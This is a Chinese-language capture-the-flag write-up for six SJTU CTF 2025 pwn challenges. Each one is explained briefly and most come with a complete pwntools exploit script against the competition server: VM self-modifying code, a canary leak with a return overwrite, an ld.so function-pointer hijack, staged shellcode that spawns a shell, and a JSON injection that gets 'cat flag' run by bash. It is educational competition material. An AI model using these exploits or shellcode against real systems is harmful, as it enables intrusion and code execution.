SJTU CTF 2025 PWN Writeup
ret2vmcode
虚拟机。首先逆向出指令格式:
def packins(opc, op1, op2):
return pack(opc, 8) + p32(op1) + p32(op2)
def imm(reg, val):
return packins(0xF1, reg, val)
def add(reg1, reg2):
return packins(0xF2, reg1, reg2)
def xor(reg1, reg2):
return packins(0xF4, reg1, reg2)
def push(reg):
return packins(0xF5, reg, 0)
def pop(reg):
return packins(0xF6, reg, 0)
def load(reg, addr):
return packins(0xF7, reg, addr)
def store(reg, addr):
return packins(0xF8, addr, reg)
"open(r1) -> r0"
def sys_open():
return packins(0xF9, 3, 0)
"read(r1, r2, r3) -> r0"
def sys_read():
return packins(0xF9, 1, 0)
"write(r1, r2, r3) -> r0"
def sys_write():
return packins(0xF9, 2, 0)
虽然提供了几个 syscall,但被 vm_check
拦下了。好在提供的内存交互指令可以直接操控 imem,也就是自修改程序。我的思路是先写好恶意的 vm code 后,把涉及 sys 的 opcode 改成别的字符发送给程序,在运行我的 vm code 时将那几个字节改回 syscall 对应的 opcode,以此绕过只在读入时进行检查的 vm_check
。
TAKEWAY:对于允许自修改的 VM 型程序,只在读入代码时进行一次用户代码安全审查是不行的。
完整 EXP:
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
# ---------------- Environment Config ---------------- #
filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18421
elf = ELF(filename)
# libc = ELF(libc_name)
context.log_level = 'debug'
context.binary = filename
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
def packins(opc, op1, op2):
return pack(opc, 8) + p32(op1) + p32(op2)
def imm(reg, val):
return packins(0xF1, reg, val)
def add(reg1, reg2):
return packins(0xF2, reg1, reg2)
def xor(reg1, reg2):
return packins(0xF4, reg1, reg2)
def push(reg):
return packins(0xF5, reg, 0)
def pop(reg):
return packins(0xF6, reg, 0)
def load(reg, addr):
return packins(0xF7, reg, addr)
def store(reg, addr):
return packins(0xF8, addr, reg)
"open(r1) -> r0"
def sys_open():
return packins(0xF9, 3, 0)
"read(r1, r2, r3) -> r0"
def sys_read():
return packins(0xF9, 1, 0)
"write(r1, r2, r3) -> r0"
def sys_write():
return packins(0xF9, 2, 0)
def pwn():
ru(b'Initialized at ')
mem_ptr = int(ru(b'.')[:-1], 16)
print(f"mem_ptr: {hex(mem_ptr)}")
"""
[DEBUG] Sent 0xac bytes:
00000000 f1 00 00 00 00 00 00 00 00 f1 02 00 00 00 c0 16 │····│····│····│····│
00000010 dd 56 f8 02 00 00 00 00 00 00 00 f1 00 00 00 00 │·V··│····│····│····│
00000020 00 00 00 00 f1 02 00 00 00 c0 16 dd 56 f8 02 00 │····│····│····│V···│
00000030 00 00 00 00 00 00 f1 00 00 00 00 00 00 00 00 f1 │····│····│····│····│
00000040 02 00 00 00 c0 16 dd 56 f8 02 00 00 00 00 00 00 │····│···V│····│····│
00000050 00 f1 01 00 00 00 c0 18 dd 56 f1 00 00 00 00 66 │····│····│·V··│···f│
00000060 6c 61 67 f8 01 00 00 00 00 00 00 00 f1 02 00 00 │lag·│····│····│····│
00000070 00 d0 18 dd 56 f1 03 00 00 00 30 00 00 00 f9 03 │····│V···│··0·│····│
00000080 00 00 00 00 00 00 00 f1 01 00 00 00 03 00 00 00 │····│····│····│····│
00000090 f9 01 00 00 00 00 00 00 00 f1 01 00 00 00 01 00 │····│····│····│····│
000000a0 00 00 f9 02 00 00 00 00 00 00 00 0a │····│····│····│
000000ac
"""
code = b""
code += imm(0, 0x03f90000)
code += imm(2, mem_ptr+0x7c)
code += store(0, 2)
code += imm(0, 0x01f9)
code += imm(2, mem_ptr+0x90)
code += store(0, 2)
code += imm(0, 0x02f90000)
code += imm(2, mem_ptr+0xa0)
code += store(0, 2)
code += imm(1, mem_ptr+0x200)
code += imm(0, 0x67616c66) # flag
code += store(0, 1)
code += imm(2, mem_ptr+0x210)
code += imm(3, 0x30)
code += packins(0xE9, 3, 0) # sys_open
code += imm(1, 3)
code += packins(0xE9, 1, 0) # sys_read
code += imm(1, 1)
code += packins(0xE9, 2, 0) # sys_write
sl(code)
io.interactive()
# ------------------ Infrastructure ------------------ #
gdbscript = '''
b vm_check
b sys
c
'''
if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()
pwn()
GuessMaster
随机数种子选取过于简单,可以轻易破解。根据本地测试,在脚本中取时间戳后再加 110 偏移就可以拿到目标种子。然后泄露 canary 就可以把 main 返回地址改成后门函数地址了。
TAKEAWAY:如果随机数是安全攸关的,随机种子就不应该选取可预测的值。
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
from ctypes import *
# ---------------- Environment Config ---------------- #
filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18659
elf = ELF(filename)
# libc = ELF(libc_name)
context.log_level = 'debug'
context.binary = filename
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
def pwn():
libc = cdll.LoadLibrary("libc.so.6")
t = (libc.time(0) & 0xffffffff) + 110
print("Seed: ", t)
libc.srand(t)
for i in range(100):
sl(str(libc.rand()).encode())
ru("什么吧!".encode())
s(b'a'*0x108+b'b')
ru(b'b')
mes = r()
canary = mes[:7]
print(canary)
s(b'a'*0x108+b'\0'+canary+b'a'*8+b'\x93')
io.interactive()
# ------------------ Infrastructure ------------------ #
gdbscript = '''
# b srand
c
'''
if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()
pwn()
TheLampSecret
reset 中存在整数下溢的漏洞,允许用户分配一块 0x114514 大小的内存,并可以相对这块空间进行任意内存读写。
0x114514 大小的空间由 mmap 分配,默认会和 libc.so.6
, ld.so
分配在相近的位置上,且它们的相对偏移一致。(这个特性是不是在 ubuntu 22 对应的内核版本中修复了?)但经过本地测试,攻击者可以控制的只有 ld.so
的部分。
使用 pwndbg 的 tele 功能,可以检查 ld.so
的 rw-
部分内存中有哪些数据,首当其冲的就是 _rtld_global
结构体,并且里面一看就有很多函数指针。上网搜索,可以找到 [原创]hctf2018_the_end(IO FILE attack 和 exit_hook attack)-Pwn-看雪-安全社区|安全招聘|kanxue.com 这篇 wp(写得巨烂,疑似是搬运或者缝合的):劫持 __rtld_lock_unlock_recursive
这个函数指针,可以在 exit
时触发控制流劫持,具体调用链是 exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
。
在上面这篇 wp 中,该函数指针的偏移是 __rtld_lock_unlock_recursive = _rtld_global + 0xf08
,经过我的实测,更改这个位置的函数指针确实可以触发 RCE,但疑似题目函数设计导致没办法改到这个位置。
所以我采取了非常简单粗暴的方法,在 gdb 里把 _rtld_global
的所有函数指针都替换为我自己的标记,然后触发程序退出,看看哪个函数指针会被调用。最后发现 0xf10
处的函数指针就可以。
然后,再调试看看对应版本 libc.so.6
里哪个 one gadget 能用,就可以 get shell 了。
在本地 get shell 后还有个问题。不同内核版本跑这个程序的时候,偏移也会不一样。虽然 docker 可以屏蔽用户态框架的差异,但毕竟用的内核还是本机实际的内核。我基于 docker 环境中的偏移,试了 4、5 次,拿到了远程的偏移,打通了这题。
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
# ---------------- Environment Config ---------------- #
filename = "./pwn"
libc_name = "/home/y2/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18877
# ip = "127.0.0.1"
# port = 9999
elf = ELF(filename)
libc = ELF(libc_name)
context.log_level = 'debug'
context.binary = filename
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
def pwn():
# https://bbs.kanxue.com/thread-262459.htm
sla(b'> ', b'5')
sla(b': ', b'0')
sla(b'> ', b'1')
sla(b': ', b'0')
sa(b': ', b'a'*0x18)
sla(b'> ', b'2')
sla(b': ', b'0')
ru(b'a'*0x18)
libc.address = u64(ru(b'1.')[:6].ljust(8, b'\0')) - libc.sym['_IO_2_1_stdout_']
log.info(f'libc leak: {hex(libc.address)}')
sla(b'> ', b'1')
# sla(b': ', f'{0x116f48//0x40}'.encode())
# sla(b': ', f'{0x123f48//0x40}'.encode())
sla(b': ', f'{0x119f48//0x40}'.encode()) # 试了4、5次就找到了
sa(b': ', flat([
libc.address + 0xf03a4,
]))
sla(b'> ', b'6')
sla(b': ', b'thanks tomorin')
io.interactive()
# ------------------ Infrastructure ------------------ #
gdbscript = '''
# set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
set disable-randomization off
c
'''
if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
"""
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()
"""
io = remote(ip, port)
pwn()
ezshellcode
pwn.college 告诉我们,在 shellcode 受限的情况下,应该考虑分两个阶段读入 shellcode。虽然在进入执行 shellcode 时,有三个寄存器都保存了 shellcode 的地址,但程序 ban 了 64-bits 的 PREFIX,使我们没办法把地址直接移动到 rsi
寄存器中进行 read(0, buf, size)
。
好在,查询 coder64 edition | X86 Opcode and Instruction Reference 1.12 时我发现 pop r64
的指令编码居然是 58+r
,这意味着 pop rsi
这条指令没有被 ban。通过调试发现,七条 pop
就可以把站上保存的那个 shellcode 地址拿出来。
# http://ref.x86asm.net/coder64.html#:~:text=Onto%20the%20Stack-,58%2Br,-E
readcode = asm(f"""
mov edi, 0
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
mov edx, 0xff
mov eax, 0
syscall
""")
然后读入第二阶段的 shellcode 就可以 get shell 了。完整 exp 如下:
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
# ---------------- Environment Config ---------------- #
filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18724
elf = ELF(filename)
# libc = ELF(libc_name)
context.log_level = 'debug'
context.binary = filename
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
def pwn():
# step 1 shellcode
# http://ref.x86asm.net/coder64.html#:~:text=Onto%20the%20Stack-,58%2Br,-E
readcode = asm(f"""
mov edi, 0
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
pop rsi
mov edx, 0xff
mov eax, 0
syscall
""")
payload = b''
for b in readcode:
payload += hex(b)[2:].rjust(2, '0').encode()
s(payload)
# step 2 shellcode
pause()
shcode = asm(shellcraft.sh())
s(b'\x90'*len(readcode) + shcode)
io.interactive()
# ------------------ Infrastructure ------------------ #
gdbscript = '''
# set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
b *$rebase(0x156A)
c
'''
if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()
pwn()
TAKEAWAY: coder64 edition | X86 Opcode and Instruction Reference 1.12 这个网站很好用。
HappyOS
这题应该打逆向 Tag 才对,主要的时间都花在登录上了。
结合 gdb 和 ida 慢慢调试,可以发现程序会根据用户输入的密码,计算一个 SHA256 哈希(调试发现神秘常数,谷歌发现是 SHA256),然后和用户名匹配的哈希进行比较。虽然 root 用户的 SHA256 并不简单,但 user 用户用了弱密码(123456
),一查就查到了,于是终于登录上。
登录后,逆向 link 相关功能的时候,随便试了几下就突然把 flag 打出来了哈哈:
$ ln flag.txt flag.txt
$ cat flag.txt
JsonParser
ANTLR 是一个语法解析器生成器,和笔者学过的 lex+yacc 类似。在指定了某种语法后,ANTLR 就可以将目标文件安装语法进行解析,并组织成语法树的形式。
题目基于 ANTLR 将 Json 文件解析为树的形式,然后自己实现了一个 Json 解析器 MyJSONListener
,遍历语法树并同时将其转换为一棵由 JSONBaseNode
组成的树(内容基本上都会直接打印成字符串存在树里)。
程序最后会输出这样一个 Json 文件:
{
"cmd": "echo 'Haha, try to hack me!'",
"data": <User's Input Json>
}
并将其输入给 jq -s -r .[0].cmd | bash
,即执行 cmd 部分的内容。
注意到,jq
的 -s
选项意思是把所有输入的 json object 合成一个数组进行处理,因此这种输入就没办法触发命令执行:
{
"cmd": "echo 'Haha, try to hack me!'",
"data": ""
}
{
"cmd": "cat flag"
}
但逆向程序时,一个函数启发了我:
unsigned __int64 __fastcall JSONObjectNode::AddItem(
JSONObjectNode *self,
__int64 keyString,
__int64 (__fastcall ***currentNode)(_QWORD))
{
...
if ( v5 <= strlen(dest_1) )
{
n = strlen(valString);
memcpy(dest_1, valString, n); // key!!!!!!!!!!!
}
...
}
在为一个 Object({}
)添加新项时,如果该项的 key 和其他已经处理过的项相同,那么 value 会覆盖原来的项。这个行为在 jq
中也存在,所以下面这个 Json 文件就可以触发指令执行:
{
"cmd": "echo 'Haha, try to hack me!'",
"data": "",
"cmd": "cat flag"
}
为了构造出这样的 Json 文件,需要我们在 data 里动手脚。首先假设我们可以在字符串中植入 \"
符号,且最终程序会将其当作 "
来处理,那么可以构造出这样的输入:
{
"": " \"},\"cmd\":\"cat flag\"}{\"\":{\"\":\""
}
对应的输出是:
{
"cmd":"echo 'Haha, try to hack me!'",
"data":{"":" "},
"cmd":"cat flag"
}
{
"":
{
"": ""
}
}
这样就可以令 bash
执行 cat flag
了。但回到现实中,程序不会把 \"
当作 "
来处理。
继续逆向程序,可以发现刚刚的 JSONObjectNode::AddItem
函数有个问题:程序使用了 ` memcpy ` 函数而不是 ` strcpy ` 函数,由于 ` size ` 参数为 ` n ,在复制时不会把
\0 ` 复制进去。也就是说,如果我们输入这样一个 Json:
{
"pwn": "\"",
"pwn": " "
}
两个 pwn
会合并成一个 "pwn": " ""
,这样我们就拿到了一个引号内的引号。
然后就可以利用这一点开始构造了。我的最终目标是:
{"":" "},"cmd":"cat f*"}{"":{"":""}
⏫
{"":"\"}\"cm\"\"cat f\"}{\":{\"\""}
只需要一个一个把其中的转义符吃掉就可以了,下面是我的攻击 payload:
{
"":"\"}\"cm\"\"cat f\"}{\":{\"\"",
"":"\"}\"cm\"\"cat f\"}{\":{\":",
"":"\"}\"cm\"\"cat f\"}{\":\"",
"":"\"}\"cm\"\"cat f\"}{\":{",
"":"\"}\"cm\"\"cat f\"}\"",
"":"\"}\"cm\"\"cat f\"}{",
"":"\"}\"cm\"\"cat f*",
"":"\"}\"cm\":",
"":"\"}\"cmd",
"":"\"},",
"":" "
}
{"":"\"}\"cm\"\"cat f\"}{\":{\"\"","":"\"}\"cm\"\"cat f\"}{\":{\":","":"\"}\"cm\"\"cat f\"}{\":\"","":"\"}\"cm\"\"cat f\"}{\":{","":"\"}\"cm\"\"cat f\"}\"","":"\"}\"cm\"\"cat f\"}{","":"\"}\"cm\"\"cat f*","":"\"}\"cm\":","":"\"}\"cmd","":"\"},","":" "}
TAKEAWAY:在进行 C 风格字符串处理时,关于 NULL Byte 的处理非常关键。如果直接将
strlen
的结果作为memcpy
的 size,就会发生没有合适截断的问题。
- SJTU CTF 2025 PWN Writeup
- 西湖论剑 2025 PWN Writeup
- CISCN Final 2024
- BlackHatMEA 2023 House of Minho
- VNCTF 2024 escape_langlang_mountain2
- HITCTF 2023 xv6-Trusted
- TAMUctf 2023 Pwnme - linked ROP chain
- UTCTF 2023 Bing Chilling